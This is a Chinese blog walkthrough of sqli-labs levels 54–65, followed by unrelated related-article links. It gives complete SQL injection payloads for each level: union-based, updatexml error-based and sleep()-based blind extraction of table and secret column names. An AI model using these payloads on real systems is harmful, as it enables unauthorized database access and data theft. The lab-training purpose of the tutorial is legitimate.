以sqlilabs靶场为例，讲解SQL注入攻击原理【54-65关】

【Less-54】

与前面的题目不同是，这里只能提交10次，一旦提交超过十次，数据会重新刷新，所有的步骤需要重来一次。

解题步骤：

根据测试，使用的是单引号闭合。

# 判断字段的数量
?id=1' order by 3 -- aaa# 获取数据库的名字
?id=-1' union select 1,2,database() -- aa# 获取数据表的名字
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  # 获取字段名,上一步获取的数据表名为73m93vdzgg（随机生成的）
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='73m93vdzgg'-- aa  # 获取目标信息
?id=-1' union select 1,2,secret_8QFM from 73m93vdzgg -- aa

最后把获取到的Key值放入输入框中提交，通关。

【Less-55】

通过测试，使用的是括号闭合。

解题步骤：

# 判断字段的数量
?id=1) order by 3 -- aaa# 获取数据库的名字
?id=-1) union select 1,2,database() -- aa# 获取数据表的名字
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  # 获取字段名,上一步获取的数据表名为lll4ndq8t5（随机生成的）
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='lll4ndq8t5'-- aa  # 获取目标信息,字段名为secret_JY1K
?id=-1) union select 1,2,secret_JY1K from lll4ndq8t5 -- aa

【Less-56】

与上面两题类似，只是闭合的类型不同，采用的是单引号括号的方式。

解题步骤和上面基本一致，如下：

# 判断字段的数量
?id=1') order by 3 -- aaa# 获取数据库的名字
?id=-1') union select 1,2,database() -- aa# 获取数据表的名字
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  # 获取字段名,上一步获取的数据表名为bpunqnpx62（随机生成的）
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='bpunqnpx62'-- aa  # 获取目标信息,字段名为secret_0OCB
?id=-1') union select 1,2,secret_0OCB from bpunqnpx62 -- aa

【Less-57】

同样类型的题目，与之前的几题基本一样，只是闭合采用的是双引号。

解题步骤：

# 判断字段的数量
?id=1" order by 3 -- aaa# 获取数据库的名字
?id=-1" union select 1,2,database() -- aa# 获取数据表的名字
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  # 获取字段名,上一步获取的数据表名为mim20rhi4p（随机生成的）
?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='mim20rhi4p'-- aa  # 获取目标信息,字段名为secret_3YCT
?id=-1" union select 1,2,secret_3YCT from mim20rhi4p -- aa

【Less-58】

通过测试，使用的是单引号闭合。

解题过程和之前的集体类似，只是没有回显信息，解题步骤如下：


# 获取数据库的名字
?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa
# 获取数据表的名字
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa# 获取字段名,上一步获取的数据表字段名为s93lfq2cfa（随机生成的）
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='s93lfq2cfa'),0x7e),1) -- aa# 获取目标信息,字段名为secret_REV6
?id=-1' and updatexml(1,concat(0x7e,(select secret_REV6 from s93lfq2cfa),0x7e),1) -- aa

【Less-59】

与Less-58基本相同，唯一的不同在于闭合方式，Less-59是直接注入的方式。

# 获取数据库的名字
?id=-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) # 获取数据表的名字 w7hf6t37nt
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) # 获取字段名,上一步获取的数据表名为w7hf6t37nt（随机生成的）
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='w7hf6t37nt'),0x7e),1)# 获取目标信息,字段名为secret_D5MM
?id=-1 and updatexml(1,concat(0x7e,(select secret_D5MM from w7hf6t37nt),0x7e),1)

【Less-60】

与上题类似，闭合使用的是双引号括号。

解题步骤：


# 获取数据库的名字
?id=-1") and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa# 获取数据表的名字
?id=-1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa# 获取字段名,上一步获取的数据表名为kz7qxr5nq1（随机生成的）
?id=-1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='kz7qxr5nq1'),0x7e),1) -- aa# 获取目标信息,字段名为secret_TEGV
?id=-1") and updatexml(1,concat(0x7e,(select secret_TEGV from kz7qxr5nq1),0x7e),1) -- aa

【Less-61】

经过测试，本题的闭合方式为单引号加两个括号。

解题步骤：


# 获取数据库的名字
?id=-1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa# 获取数据表的名字
?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa# 获取字段名,上一步获取的数据表名为31nbt3hzri（随机生成的）
?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='31nbt3hzri'),0x7e),1) -- aa# 获取目标信息,字段名为secret_QQ63
?id=-1')) and updatexml(1,concat(0x7e,(select secret_QQ63 from 31nbt3hzri),0x7e),1) -- aa

【Less-62】

此题的闭合方式为单引号加括号，与之前题目不同的是，此题没有显错，采用盲注的方式解题。

解题步骤：

# 获取数据库的名字，长度为10
?id=1') and length(database())=10 -- aa# 获取数据库的名字
?id=1') and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa# 获取数据表名的长度,10
?id=1') and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa# 获取数据表的名字,此时的数据表名是随机生成的，没有统计标准，自行测试。
?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa# 获取字段名
?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

此时可以使用Burp Sutie工具实现名字的遍历。

【Less-63】

基本与Less-62一样，闭合是单引号闭合。

 解题步骤：

# 获取数据库的名字，长度为10
?id=1' and length(database())=10 -- aa# 获取数据库的名字
?id=1' and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa# 获取数据表名的长度,10
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa# 获取数据表的名字,此时的数据表名是随机生成的，没有统计标准，自行测试。
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa# 获取字段名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

【Less-64】

基本与Less-63一样，闭合是两个括号

 解题步骤：

# 获取数据库的名字，长度为10
?id=1)) and length(database())=10 -- aa# 获取数据库的名字
?id=1)) and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa# 获取数据表名的长度,10
?id=1)) and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa# 获取数据表的名字,此时的数据表名是随机生成的，没有统计标准，自行测试。
?id=1)) and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa# 获取字段名
?id=1)) and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

【Less-65】

基本与Less-63一样，闭合是双引号括号

 解题步骤：

# 获取数据库的名字，长度为10
?id=1") and length(database())=10 -- aa# 获取数据库的名字
?id=1")  and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa# 获取数据表名的长度,10
?id=1") and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa# 获取数据表的名字,此时的数据表名是随机生成的，没有统计标准，自行测试。
?id=1") and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa# 获取字段名
?id=1") and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/pingmian/25025.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

WPF视频学习-基础知识篇

WPF视频学习-基础知识篇

1.简介WPF： C# 一套关于windows界面应用开发框架 2.WPF和winform的差别 ，(WPF比较新) 创建新项目使用模板： WPF使用.xaml后缀，双击可查看操作界面和设置代码，其文件展开之后中有MainWindow.xaml.cs为程序交互逻辑。…
阅读更多...
【Python】数据处理：文本文件操作

【Python】数据处理：文本文件操作

在Python中，处理文本文件是非常常见的任务。可以使用内置的open函数来打开、读取和写入文本文件。 打开文件 使用open函数打开文件。该函数有两个主要参数： open(file, moder, buffering-1, encodingNone, errorsNone, newlineNone, closefdTrue, ope…
阅读更多...
OmniGlue: Generalizable Feature Matching with Foundation Model Guidance

OmniGlue: Generalizable Feature Matching with Foundation Model Guidance

【引用格式】：Jiang H, Karpur A, Cao B, et al. OmniGlue: Generalizable Feature Matching with Foundation Model Guidance[J]. arXiv preprint arXiv:2405.12979, 2024. 【网址】：https://arxiv.org/pdf/2405.12979 【开源代码】：https…
阅读更多...
Redis中的主从复制

Redis中的主从复制

分布式系统中的几种Redis部署方式 为了解决一个程序只部署在一个服务器上的单点问题： 可用性问题，如果这个机器挂了，就意味着服务就中断了 一个程序只部署在一台机器上，它的性能/支持的并发量也是有限的 所以，就引…
阅读更多...
力扣 240.搜素矩阵II

力扣 240.搜素矩阵II

题目描述： 编写一个高效的算法来搜索 m x n 矩阵 matrix 中的一个目标值 target 。该矩阵具有以下特性： 每行的元素从左到右升序排列。每列的元素从上到下升序排列。 示例 1： 输入：matrix [[1,4,7,11,15],[2,5,8,12,19],[3,6,9…
阅读更多...
openpose标定中棋盘格检测错误的解决方案

openpose标定中棋盘格检测错误的解决方案

文章目录 1、openpose 棋盘格检测流程2、解决过程3、实测结果1、openpose 棋盘格检测流程 在opencv中通过调用cv::findChessboardCorners()函数，同时指定棋盘格内角点尺寸来检测画面中的棋盘格，结果将以一定顺序来保存结果。通常指定尺寸的两个纬度的值不能相同，例如当指定…
阅读更多...
OpenCV 双目相机标定

OpenCV 双目相机标定

文章目录 一、简介1.1单目相机标定1.2双目相机标定二、实现代码三、实现效果参考资料一、简介 1.1单目相机标定 与单目相机标定类似，双目标定的目的也是要找到从世界坐标转换为图像坐标所用到的投影P矩阵各个系数（即相机的内参与外参）。具体过程如下所述： 1、首先我们需要…
阅读更多...
【STM32】ucOS-III多任务程序

【STM32】ucOS-III多任务程序

【STM32】uc/OS-III多任务程序 文章目录 【STM32】uc/OS-III多任务程序STM32F103C8T6移植uC/OS-III基于HAL库超完整详细过程与相关实验实验任务实验过程一、 uC/OS-III源码下载二、 建立STM32CubeMX工程三、 复制uC/OS-III文件到工程文件夹四、 添加工程组件和头文件路径五、修…
阅读更多...
数据结构之计数排序算法【图文详解】

数据结构之计数排序算法【图文详解】

P. S.：以下代码均在VS2019环境下测试，不代表所有编译器均可通过。 P. S.：测试代码均未展示头文件stdio.h的声明，使用时请自行添加。 博主主页：LiUEEEEE                        …
阅读更多...
通过网址下载静态网页的仿站工具

通过网址下载静态网页的仿站工具

下载地址：通过网址下载静态网页的仿站工具 超级实用的一款工具
阅读更多...
学习笔记——路由网络基础——直连路由(direct)

学习笔记——路由网络基础——直连路由(direct)

二、直连路由(direct) 直连路由(direct)：直接相连，接口配置好ip地址并up后自动生成的路由。默认优先级为0 Destination：表示路由的目的地址。用来标识IP包的目的地址或目的网络。 Mask：表示目的地址的子网掩码长度。 与目的地址…
阅读更多...
MyBatisPlus总结二

MyBatisPlus总结二

MybatisPlus总结一在这： MybatisPlus总结1/2-CSDN博客 六、分页查询： 6.1.介绍： MybatisPlus内置了分页插件，所以我们只需要配置一个分页拦截器就可以了，由于不同的数据库的分页的方式不一样，例如mysql和…
阅读更多...
轻松连接远程服务器SecureCRT for Mac/Windows

轻松连接远程服务器SecureCRT for Mac/Windows

SecureCRT是一款功能强大的终端仿真器和文件传输工具，专为网络管理员、开发人员和系统工程师设计。它支持SSH、Telnet、RDP和串口等多种协议，提供安全、高效的远程访问和管理体验。SecureCRT具有多窗口/多标签管理、自定义终端仿真、颜色方案优化等高级功…
阅读更多...
Linux内核下网卡硬件 MAC 和PHY分析笔记

Linux内核下网卡硬件 MAC 和PHY分析笔记

1 简介 通常CPU自带的以太网接口是MAC控制器，为了实现完整的功能，外围硬件还需要增加一个PHY芯片。 PHY芯片在建立网络连接时负责协商确定网速、全双工 或者 半双工等。在正常通讯时负责在MAC控制器的MII信号 与 网线中的信号之间做转换。 本文的内核代…
阅读更多...
最快的开源UDP传输工具：Kcptun

最快的开源UDP传输工具：Kcptun

Kcptun：极速网络隧道，让数据传输飞起来！- 精选真开源，释放新价值。 概览 kcptun 是一个轻量级、高性能的TCP/UDP网络加速工具，由xtaci开发并托管在GitHub上。它通过使用kcp协议，为网络数据传输提供了一个快…
阅读更多...
[linux] makefilegdb理解

[linux] makefilegdb理解

目录 Linux项目自动化构建工具-make/Makefile 背景 理解 依赖关系 依赖方法 原理 Linux调试器-gdb使用 背景 开始使用 Linux项目自动化构建工具-make/Makefile 背景 会不会写makefile，从一个侧面说明了一个人是否具备完成大型工程的能力 一个工…
阅读更多...
推荐一款AI音乐生成工具和一款浏览器

推荐一款AI音乐生成工具和一款浏览器

大家好，今天给大家带来2款软件，一款是移动浏览器，一款是AI音乐生成软件。 Alook Alook是一款移动端浏览器，它以其独特的无广告、无推送、无新闻的"三无"特性，为用户提供了一个清爽的上网环境。Alook不仅界…
阅读更多...
【算法小记】深度学习——时间序列数据分析 Time series Data Analysis

【算法小记】深度学习——时间序列数据分析 Time series Data Analysis

在本篇博客中将简单介绍常见的几种循环神经网络和一维卷积神经网络，并使用一些简答的数据进行拟合分析。本文相对适合刚入门的同学，同时也作为自己过去一段时间学习的总结和记录，现在神经网络框架已经非常完善的支持了很多常见和有效的深度学…
阅读更多...
【优选算法】BFS解决FloodFill算法

【优选算法】BFS解决FloodFill算法

一、经验总结 什么是FloodFill算法？ FloodFill算法是一种用于填充连通区域的算法，通常用于图像处理和计算机图形学中。它从给定的起始点开始，向周围相邻的像素进行扩散填充，直到遇到边界或者其他指定条件停止。 FloodFill算法还…
阅读更多...
新买的移动硬盘无法识别

新买的移动硬盘无法识别

文章目录 背景解决方案 背景 同事新买的移动硬盘，插在电脑上识别不出来盘符，检查了一下，硬盘没问题应该，是ssk的硬盘盒M.2的SSD，硬盘驱动也是正常的，插拔了几次，都不识别，换了太电脑…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023